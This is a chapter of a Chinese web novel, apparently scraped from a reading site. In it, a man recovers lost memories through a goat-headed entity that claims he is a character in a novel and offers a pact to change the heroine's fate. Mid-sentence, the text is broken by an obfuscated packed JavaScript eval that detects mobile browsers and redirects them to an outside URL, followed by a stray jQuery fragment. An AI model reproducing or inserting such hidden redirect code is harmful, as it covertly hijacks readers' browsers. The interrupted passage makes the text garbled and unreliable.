慕尼黑的冬天漫长而深沉,积雪在屋檐上堆成蓬松的云,安静地等待着夜幕再次降临。
在回到德国的那天下午,萧南弦第一次在鹅黄色的天花板上见到它。
那时,他才经历了一场手术,后脑上缝合的伤口还未痊愈,会时不时带来钻心的疼痛,特别是当寒冷降临时,痛感会加剧。
寒冷带来的痛苦让他仰起头颅,碰巧看到不应该存在于这个世界的东西。
那个东西看到他发现它,便低声询问:“你能看到我?”
萧南弦面色平静地收回视线,觉得这一切不过是幻觉。
自从脑袋摔伤后,他变得越来越不对劲。
对玩乐意兴阑珊,也十分不满意自己先前的个人形象:乱七八糟的纹身、古怪的耳钉、极不检点的衣服,像个沉迷于夜店的浪荡子。
萧南弦不明白自己的变化。
他为此寻求过医生的帮助,医生说他可能是因为摔伤脑神经导致性格发生改变,这在临床上并不新奇。
他知道他的大脑病了。
因此当他第一次看到它时,他选择无视它的询问回到楼上的卧室。
但这一举动似乎将它激怒,它冲他破口大骂,骂他是蠢货、垃圾、白猪……
无论怎么贬低他,萧南弦都无动于衷,好像一个没有情绪的空心人。
这样的谩骂持续了几个小时,它忽然“大发慈悲”道:“既然这样,我就让你恢复记忆吧。”
于是,关于那个人的记忆,原封不动,像电影一样在他脑子里快放,头很痛,心脏很痛,呼吸也很痛,那是一种钝重的、持续的折磨。
看他痛苦地抱着头颅,它在头顶上方哈哈大笑,随后黑雾消散,就像没有存在过一样。
恢复神志后,萧南弦第一时间找到手机联系俞锦,但她的电话无论如何也无法拨通,发出的消息,也始终显示发送失败。
萧南弦购买了当晚飞回中国的机票,然而飞机起飞前,暴风雪毫无征兆降临,航班随即取消。
第二天、第三天,他准备乘坐私人飞机,但无形当中,仿佛有一股力量在阻止他离开德国。
起飞前总会发生意外,比如飞行员生病、仪表出现故障……
第四天,他买下一艘观光游艇,临时聘请船员,从汉堡海港出发。
游艇行驶到北海发生故障,不管怎样发动机都无法工作,他们被救援船只救回,再度回到慕尼黑。
十多天后,萧南弦学会怎么开船,他不管父亲的劝阻,执意回到汉堡海港,再一次登上游艇。
这一次比较顺利,游艇顺利穿过英吉利海峡,进入大西洋。
第二十七天,随着游艇驶向深海,海况开始变得复杂,游艇在浪谷与波峰之间起伏跌宕,海浪拍打船体发出沉闷的撞击声。
船员慌不择路告诉他游艇有侧翻的风险,需要立刻返航。
返航途中,它再次出现在他头顶,黑雾缭绕,像蜘蛛网一样布满整个天花板,它重复着一句话:“我可以帮你。”
他依然觉得这一切都是幻觉,所以没有回应它。
第四十二天,萧南弦独自一人登上游艇出发,这次,他在直布罗陀海峡遭遇风暴,船体翻覆,入水的瞬间,巨大的冲击力让他短暂地失去了意识。
水流在耳边发出沉闷的轰鸣,除此之外,他什么都感觉不到。
当萧南弦再次恢复知觉时,他发现自己躺在卧室的床上,温暖的羽绒被、拍打着玻璃窗的雪花、还有摇摆不停的机械挂钟,这一切都在提醒他,他还活着。
后来他才知道他被发现晕倒在岸边,途径海岸的水手救了他。
可他明明记得自己的身体在不断下沉,又怎么可能安然无恙出现在岸边?
“因为我救了你。”
这一次的黑雾笼罩住整个房间,它的声音从天花板传来,从床下传来,从抽屉里传来,好像无所不在。
它告诉他,他是一本言情小说的男主之一,在他和俞锦的剧情结束之后,俞锦还会和谢祤在一起,甚至最后和徐星颢结婚,整本小说以虐女为基调,俞锦最后会出车祸死亡。
这本书的作者是个虐待狂、骗子,让俞锦觉醒、得到自我后,骗她虐男就可以避免悲惨结局,但其实作者根本没想过最后让俞锦活下去。
因为黑雾说的内容听起来太离奇,所以萧南弦假装没听见,他认为所有的一切都是幻觉。
“你想再见到俞锦吗?”黑雾汇聚成了一颗羊头,和他面对面,“然后改变她的悲剧。”
萧南弦也不知道自己是不是疯了,没怎么犹豫,居然和幻象开始对话:“我想见到她。”
羊头继续说:“我可以帮你,但你不能出卖我的存在,否则我会惩罚你。”
“嗯。”
羊头得偿所愿后,眯了眯眼睛:“有件事我要和你提前说明,俞锦未来要经历的大事件不会改变,比如她怀孕、结婚,这是主线剧情,没人能做出改变。”
“既然我无法改变,那你告诉我这些有什么目的?”他面无表情看着羊头,对它的话半信半疑。
“因为你有机会去改变让她经历这些事情的对象,比如顶替徐星颢成为她的丈夫,而且在主线剧情之外,我也可以给你提供帮助,帮你扫除障碍,获得俞锦的好感。”羊头的语气沾沾自喜,时刻观察着萧南弦的反应。
但他没什么反应,就像没听懂它在说什么一样。
读心之后,羊头勃然大怒:“你居然到现在还以为我是你的幻觉?!”
它的震怒带来连锁反应,狂风裹挟着雪粒,呼啸着撞击在玻璃窗上,令整栋楼都像处于地震中心,剧烈晃动,好像随时都会坍塌一般。
这下,萧南弦彻底相信它是真实存在的,并非自己的幻觉。
但这样的存在到底是什么?
他问:“你是谁?为什么要帮我?”
羊头笑了笑,得意洋洋道:“我是善良的神明,只是想做好事。”
善良的神,为什么是一头山羊?
在西方,山羊是恶魔的化身。
心中的疑惑一闪而过,但只要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458071|197798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能见到俞锦,他什么都无所谓:“好,我相信你,快带我去见俞锦。”
“哎,别急,你现在直接去找她会被作者发现你恢复了记忆,她会让你再度失忆。”羊头的声音忽然变得异常冷漠,“而且这样,她可能会发现我……我现在要把和俞锦相关的记忆再收走。”
随后羊头建议萧南弦,他可以用日记将他们的记忆记录下来,这样即便没了记忆,他也知道他们发生过什么。
它给了他一个星期的时间。
这一个星期,萧南弦都在家里写“日记”。
他们相识的经历并不美好,充斥着怀疑和欺骗,剑拔弩张,明明不应该这样,但不知道为什么造成了这样的局面。
他删掉了那些让他觉得羞耻、不堪的事情,比如她强吻他、他们之后签订的包养合同、被她扇巴掌的经历……
到最后也就只剩他们一起去德国的经历被他记录下来,在萧南弦看来,那是最美好的回忆。
最后一天,他去做了纹身,让人在他肩后纹下她的名字,这是为了提醒失忆后的自己,她在他心中的重要性。
第二天,羊头收回了他脑子里关于俞锦的所有记忆。
再度失去记忆的萧南弦,看到日记里记下的内容,觉得十分陌生,或者说难以理解曾经的自己。
除了日记以外,他在失忆之前还记下接下来的剧情发展方向,以及他准备要做的事。
羊头建议他按照自己先前的计划进行,他资助了非洲一所小学,提前在郁金香花园购买房产,和汉娜一起去往中国。
所有的一切都是为了俞锦,但他连她长什么样子都不知道。
直到飞机在山城市降落,他在人潮汹涌的机场见到她时,来自心脏不明缘由的疼痛,好像在提醒他,他以前真的很在乎这个女人。
只是,关于她的一切,他都已经真的忘记了。
回到现在,萧南弦坐在头等舱的座位上,听羊头和他讲述刚刚被俞锦打晕,又被作者操控离开的过程。
“那你为什么不告诉我,她刚才准备打晕我?如果能避免被她弄晕,我就可以阻止她和谢祤独处。”萧南弦也不是兴师问罪,在他看来对方是神,这种程度的预警,它应该能做到。
周围的温度好像更冷了,羊头变得缄口无言。
忽然,飞机剧烈地颠簸起来,如同一叶在狂风大雨中挣扎的小舟,猝不及防地向下猛地一沉,仿佛要坠机了一样。
萧南弦紧紧握着扶手,他知道,这是警告。
等飞机恢复平稳之后,羊头才幽幽道:“我记得和你说过,不能出卖我的存在,这当然也包括俞锦,所以我不能在她面前现身。”
“你难道在害怕她?”萧南弦提出猜测。
“我为什么要害怕一个人类?”
飞机又颠簸了一下。
萧南弦沉默片刻,又问:“那你害怕这本书的作者吗?”
这一次飞机没有颠簸,在夜空中平稳地飞行。
答案也呼之欲出。
神也会害怕作者吗?